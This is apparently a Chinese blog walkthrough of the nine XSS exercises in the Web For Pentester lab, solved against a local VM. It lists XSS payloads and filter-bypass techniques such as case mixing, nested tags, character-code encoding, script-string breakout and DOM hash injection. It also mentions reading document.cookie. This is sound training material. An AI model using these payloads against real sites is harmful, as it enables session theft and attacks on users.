Pentester中的XSS详解
本次做的是Web For Pentester靶机里面的XSS题目,一共有9道题目。
关于靶机搭建参考这篇文章:渗透测试靶机的搭建
第1题(无过滤措施)
首先在后面输入xss:
http://10.211.55.16/xss/example1.php?name=xss
看到如下页面:

然后查看下源码:

感觉这里没有任何的防御措施,忍不住笑出了声。

有很多的标签里面都可以调用HTML的事件属性来弹窗,为了节约时间,下面我就列举出一些比较常用的手法。
利用基本的script标签来弹窗
Payload
<script>alert('xss')</script>
定义和用法
script 标签用于定义客户端脚本,比如 JavaScript。
效果图

利用iframe标签的的src属性来弹窗
Payload
<iframe src=javascript:alert('xss')></iframe>
定义和用法
iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。
效果图

利用标签的href属性来弹窗
Payload
<a href=javascript:alert('xss')>ggtest</a>
这里就是超链接到了:javascript:alert('xss')
效果和浏览器直接打开这个地址:javascript:alert('xss')是一样的
这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的cookie

定义和用法
标签定义超链接,用于从一张页面链接到另一张页面。
元素最重要的属性是 href 属性,它指示链接的目标。
指向国光博客的一个例子:
<a href="http://git.sqlsec.com”>国光博客</a>
效果图

利用
标签来弹窗
Payload
<img src=1 onerror=alert('xss')>
这里的src后面是填写的 是 图片的地址,为了 测试简便 这个地址里面我们一般随便填写,比如这里我们填写的就是 1,因为1不是一个正确的值,所以 触发了后面的 onerror事件(遇到错误 就触发)

当然如果在src里面填写一个正常的URL的话,就不会弹窗的了,因为onerror的触发条件是得报错。

当src后面的值是正确的时候呢,这个还可以用 oneclick事件来触发弹窗
<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>
这里不论src后面的值 是否正确,只要鼠标点击,就会触发 弹窗事件。

类似onerror和onclick的时间有很多种下面
列举出常见的事件
Windows事件属性
| 事件 | 作用 |
|---|---|
| onerror | 在错误发生时运行的脚本 |
| onload | 页面结束加载之后触发 |
Keyboard 事件
| 事件 | 作用 |
|---|---|
| onkeydown | 在用户按下按键时触发 |
| onkeypress | 在用户敲击按钮时触发 |
| onkeyup | 当用户释放按键时触发 |
鼠标(Mouse)事件
| 事件 | 作用 |
|---|---|
| onclick | 元素上发生鼠标点击时触发 |
| onmousedown | 当元素上按下鼠标按钮时触发 |
| onmousemove | 当鼠标指针移动到元素上时触发。 |
| onmouseover | 当鼠标指针移动到元素上时触 |
| onmouseout | 当鼠标指针移出元素时触发 |
| onmouseup | 当在元素上释放鼠标按钮时触发 |
定义和用法
img 元素向网页中嵌入一幅图像。
请注意,从技术上讲, 标签并不会在网页中插入图像,而是从网页上链接图像。
标签创建的是被引用图像的占位空间。
标签有两个必需的属性:src 属性 和 alt 属性
凡是支持事件的HTML标签都是可以弹窗的,在HTML中支持事件属性的标签很多,下面我就
列举出一些支持事件的HTML常见标签
| 标签 | 作用 |
|---|---|
| a | 定义超链接,用于从一张页面链接到另一张页面,最重要的属性是 href 属性,它指示链接的目标 |
| article | 规定独立的自包含内容一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发 |
| audio | 定义声音,比如音乐或其他音频流 |
| b | 规定粗体文本 |
| body | 定义文档的主体,包含文档的所有内容 |
| br | 只是简单地开始新的一行 |
| button | 定义一个按钮 |
| iframe | 会创建包含另外一个文档的内联框架 |
| img | 向网页中嵌入一幅图像 |
| select | 可创建单选或多选菜单 |
| style | 用于为 HTML 文档定义样式信息 |
| textarea | 标签定义多行的文本输入控件 |
| video | 定义视频,比如电影片段或其他视频流 |
第一题因为没有任何的过滤,所以理论上支持调用HTML事件属性的标签都是可以成功弹窗的,下面来个
综合点的payload
http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通过按钮点击触发xss</button> <font size="4" color="blue" onmouseover=alert('xss')> 移动到元素触发xss </font> <br>
<select> <option onclick=alert('x')>onclick点击触发事件</option> <option values=1 onmousedown=alert('ss')>onmousedown触发</option></select> <a href=javascript:alert('xss')>利用a标签的href属性触发</a> <br>
<textarea placeholder=国光的xss测试:键盘按键触发xss onkeypress=alert('xss')></textarea>

第2题(大小写转换)
这一题的话, 除了<script>alert('xss')</script>这个payload,其他用第一题中的其他payload:
<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...
依然还是可以的,好吧,为了不这么容易做完这道题目,我们来下面的题目都尽量使用<script>alert('xss')</script>来试试看

查看下源码:

这里我们猜测过滤<script>和</script>
然后这里尝试下大小写转换,尝试着绕过过滤:
<Script>alert('xss')</scripT>
可以看到成功绕过了:

第3题(嵌套构造)
直接输入
<Script>alert('xss')</scripT>
发现大小写转换的这个套路已经不能够使用了

得到结论是:没有过滤alert('xss'),现在就把注意力集中在 <script> 和</script>上
Fuzz测试一下,看看具体过滤了哪些字符?然后再想办法绕过。
http://10.211.55.16/xss/example3.php?name=<></>script<script>

可以看出过滤了:</script>和<script>
尝试构造输入:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>

查看源码后发现成功构造出
<script>
于是判断这里只顾虑了一次,接着尝试构造如下完整的payload:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>

第4题(利用标签绕过)
直接输入:<script>alert('xss')</script>发现直接 error 了
于是再次出尝试输入:
http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>

再次得出结论:没有过滤<> </> alerrt('xss'),现在主要想办法对script做个处理来绕过过滤。
然而我各种编码都没有绕过,有的编码的确是绕过了,但是貌似没有解析脚本 =,=
哎~~~放弃用这种形式的<script>alert('xss')</script>的payload了,于是乎使用下面的<img>标签成功绕过:
<img src=1 onerror=alert('xss')>
第5题(String.fromCharCode编码绕过)
首先执行:
<script>alert('xss')</script>
发现直接就 报 error了,于是fuzz测试发现并没有过滤:<script>和</script>
只是过滤了:alert
利用火狐浏览器的hackbar插件对alert('xss')进行String.fromCharCode转换:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>

第6题(闭合标签)
首先默认查看下源码:

发现我们输出的hacker作为了一个变量赋值给了a,并且这个变量在<script>这个标签中
这样的话,只要能够突破这个赋值的变量,就可以利用这个<script>这个标签来弹窗了。
下面想办法闭合进行fuzz测试......
这里边看源码边做调整。几次测试后得到如下可以弹窗的payload:
11";</script><img src=1 onerror=alert('xss')><script>

来查看下源码来简单的分析一下:
Hello
<script>
var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
pauyload最前面的
11";</script> 闭合了前面的<script>标签
最后面的
<script> 闭合了后面的<script>标签
中间的
<img src=1 onerror=alert('xss')>
用来触发 弹窗事件
第7题
首先来查看下源码:

感觉貌似和第6题差不多,于是稍微修改了下使用下面的payload来进行测试:
hacker';</script><img src=1 onerror=alert('xss')><script>
结果并没有弹窗,赶紧查看下源码压压惊:

可以看到对输入的 <和/和>符号进行转义了,导致我们的弹窗失败。
所以现在的着重点就是 如何处理这些符号:
<和/和>
然而我失败了,对这些符号进行转码也是失败了,后来想了好久终于知道问题所在了:
受到以前闭合一句话木马的缘故,我老是想着闭合首尾的标签
后来仔细想想,这个变量 就在<script>里面,可以在里面直接写alert('xss')来弹窗的,这样也就不需要使用
<和/和>特殊符号了。这么看来的话,第6题 也应该这么来做,奇葩的我,居然是闭合的方式来弹窗的....
http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="

查看下源码:
Hello
<script>
var $a= "name=";alert('xss');var b="";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
这里 巧妙的利用了 ; 来在<script>标签里面执行alert('xss')
第8题
是一个输入框,然后输入payload:<img src=1 onerror=alert('xss')>;来试试看,查看源码:
HELLO <img src=1 onerror=alert('xss')><form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
<footer>
<p>© PentesterLab 2013</p>
</footer>
发现也是对 < > 标签进行转义了,这里进行各种编码也没有绕过。
又是好久也没有成功突破,最后仔细看源码,发现突破点在于
<form action="/xss/example8.php"
这是第8题的URL,于是注意力转移到URL处,尝试在URL后面添加
http://10.211.55.16/xss/example8.php/
查看源码:

发现我们最后添加的 :/ 写在了<form>这个标签中,于是在这里进行fuzz测试,尝试闭合标签,最后构造的payload如下:
http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form
来查看下源码来分析刚刚构造的payload:
<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
可以看到这里
/"闭合了最前面的<form>
<form> 闭合了最后面的/>
中间的
<img src=1 onerror=alert('xss')> 触发了弹窗事件
第9题
这一题很特殊,不愧是大boss,这里首先查看下源码:

在源码中完全找不到hacker的任何字样,于是仔细百度最可疑的地方:
<script>
document.write(location.hash.substring(1));
</script>
找到一份资料:http://www.runoob.com/jsref/prop-loc-hash.html
这里可以大概看出这里是读取#后面的东西,于是乎简单的在#后面构造xss语句:
http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico onclick=alert('Bingo')>
最后一道题目了,得录制个gif来庆祝一下:

小结
虽然这个平台只有9道题目,但是用心去整理拓展,发现可以学到很多xss的姿势,这样又把以前快忘记的xss姿势巩固提高了一下,更好的为不久后挖BAT的XSS漏洞做好基础知识的准备。
Pentester中的XSS详解的更多相关文章
- Asp.net中GridView使用详解(很全,很经典 转来的)
Asp.net中GridView使用详解 效果图参考:http://hi.baidu.com/hello%5Fworld%5Fws/album/asp%2Enet中以gv开头的图片 l ...
- Asp.net中GridView使用详解(引)【转】
Asp.net中GridView使用详解(引) GridView无代码分页排序 GridView选中,编辑,取消,删除 GridView正反双向排序 GridView和下拉菜单DropDownList ...
- Asp.net中GridView使用详解(很全,很经典)
http://blog.csdn.net/hello_world_wusu/article/details/4052844 Asp.net中GridView使用详解 效果图参考:http://hi.b ...
- php中关于引用(&)详解
php中关于引用(&)详解 php的引用(就是在变量或者函数.对象等前面加上&符号) 在PHP 中引用的意思是:不同的变量名访问同一个变量内容. 与C语言中的指针是有差别的.C语言中的 ...
- JavaScript正则表达式详解(二)JavaScript中正则表达式函数详解
二.JavaScript中正则表达式函数详解(exec, test, match, replace, search, split) 1.使用正则表达式的方法去匹配查找字符串 1.1. exec方法详解 ...
- AngularJS select中ngOptions用法详解
AngularJS select中ngOptions用法详解 一.用法 ngOption针对不同类型的数据源有不同的用法,主要体现在数组和对象上. 数组: label for value in a ...
- 【转载】C/C++中extern关键字详解
1 基本解释:extern可以置于变量或者函数前,以标示变量或者函数的定义在别的文件中,提示编译器遇到此变量和函数时在其他模块中寻找其定义.此外extern也可用来进行链接指定. 也就是说extern ...
- oracle中imp命令详解 .
转自http://www.cnblogs.com/songdavid/articles/2435439.html oracle中imp命令详解 Oracle的导入实用程序(Import utility ...
- Android中Service(服务)详解
http://blog.csdn.net/ryantang03/article/details/7770939 Android中Service(服务)详解 标签: serviceandroidappl ...
随机推荐
- Eclipse之相关快捷键
Eclipse的编辑功能非常强大,掌握了Eclipse快捷键功能,能够大大提高开发效率.Eclipse中有如下一些和编辑相关的快捷键. 1.[ALT+/] 此快捷键为用户编辑的好帮手,能为用 ...
- [libwww-perl]——POST方法的使用
libwww-perl是我在学习varnish的时候遇到的一个工具. 具体libwww-perl是干什么的,可以参考官网https://github.com/libwww-perl/libwww-pe ...
- 【黑金原创教程】 FPGA那些事儿《概念篇》
简介一本讲述非软硬片上系统的书,另外还是低级建模的使用手册. 目录[黑金原创教程] FPGA那些事儿<概念篇>:File01 - 结构的玩笑[黑金原创教程] FPGA那些事儿<概念篇 ...
- 【BZOJ1217】[HNOI2003]消防局的设立 树形DP
[BZOJ1217][HNOI2003]消防局的设立 Description 2020年,人类在火星上建立了一个庞大的基地群,总共有n个基地.起初为了节约材料,人类只修建了n-1条道路来连接这些基地, ...
- 使用python的logging模块(转)
一.从一个使用场景开始 开发一个日志系统, 既要把日志输出到控制台, 还要写入日志文件 import logging # 创建一个logger logger = logging.getLogger(' ...
- 【Django错误】OSError: raw write() returned invalid length 14 (should have been between 0 and 7)
错误环境 使用Django框架创建完models类的之后,用python manage.py migrate命令来生成数据库表的时候出错 错误代码 Operations to perform: App ...
- BBS项目部署
1.准备 项目架构为:LNM+Python+Django+uwsgi+Redis (L:linux,N:nginx,M:mysql) 将bbs项目压缩上传到: /opt 在shell中直接拖拽 ...
- django模型:为已存在的表建立模型
为已经存在的表建立模型:参考https://blog.csdn.net/opera95/article/details/78200024 为已经存在的表建立模型1.python manage.py i ...
- 用Html5制作的一款数学教学程序Function Graphics(绘制函数图的程序)
最近我不仅对游戏开发感兴趣,还对函数图感兴趣,特此我开发了这个程序.以下是一些介绍和下载演示地址,喜欢的朋友可以看看: 一,产品名片 产品名:Function Graphics 版本: 0.1 开发者 ...
- composer是php包管理工具
composer是 PHP 用来管理依赖(dependency)关系的工具.你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件. MAC.L ...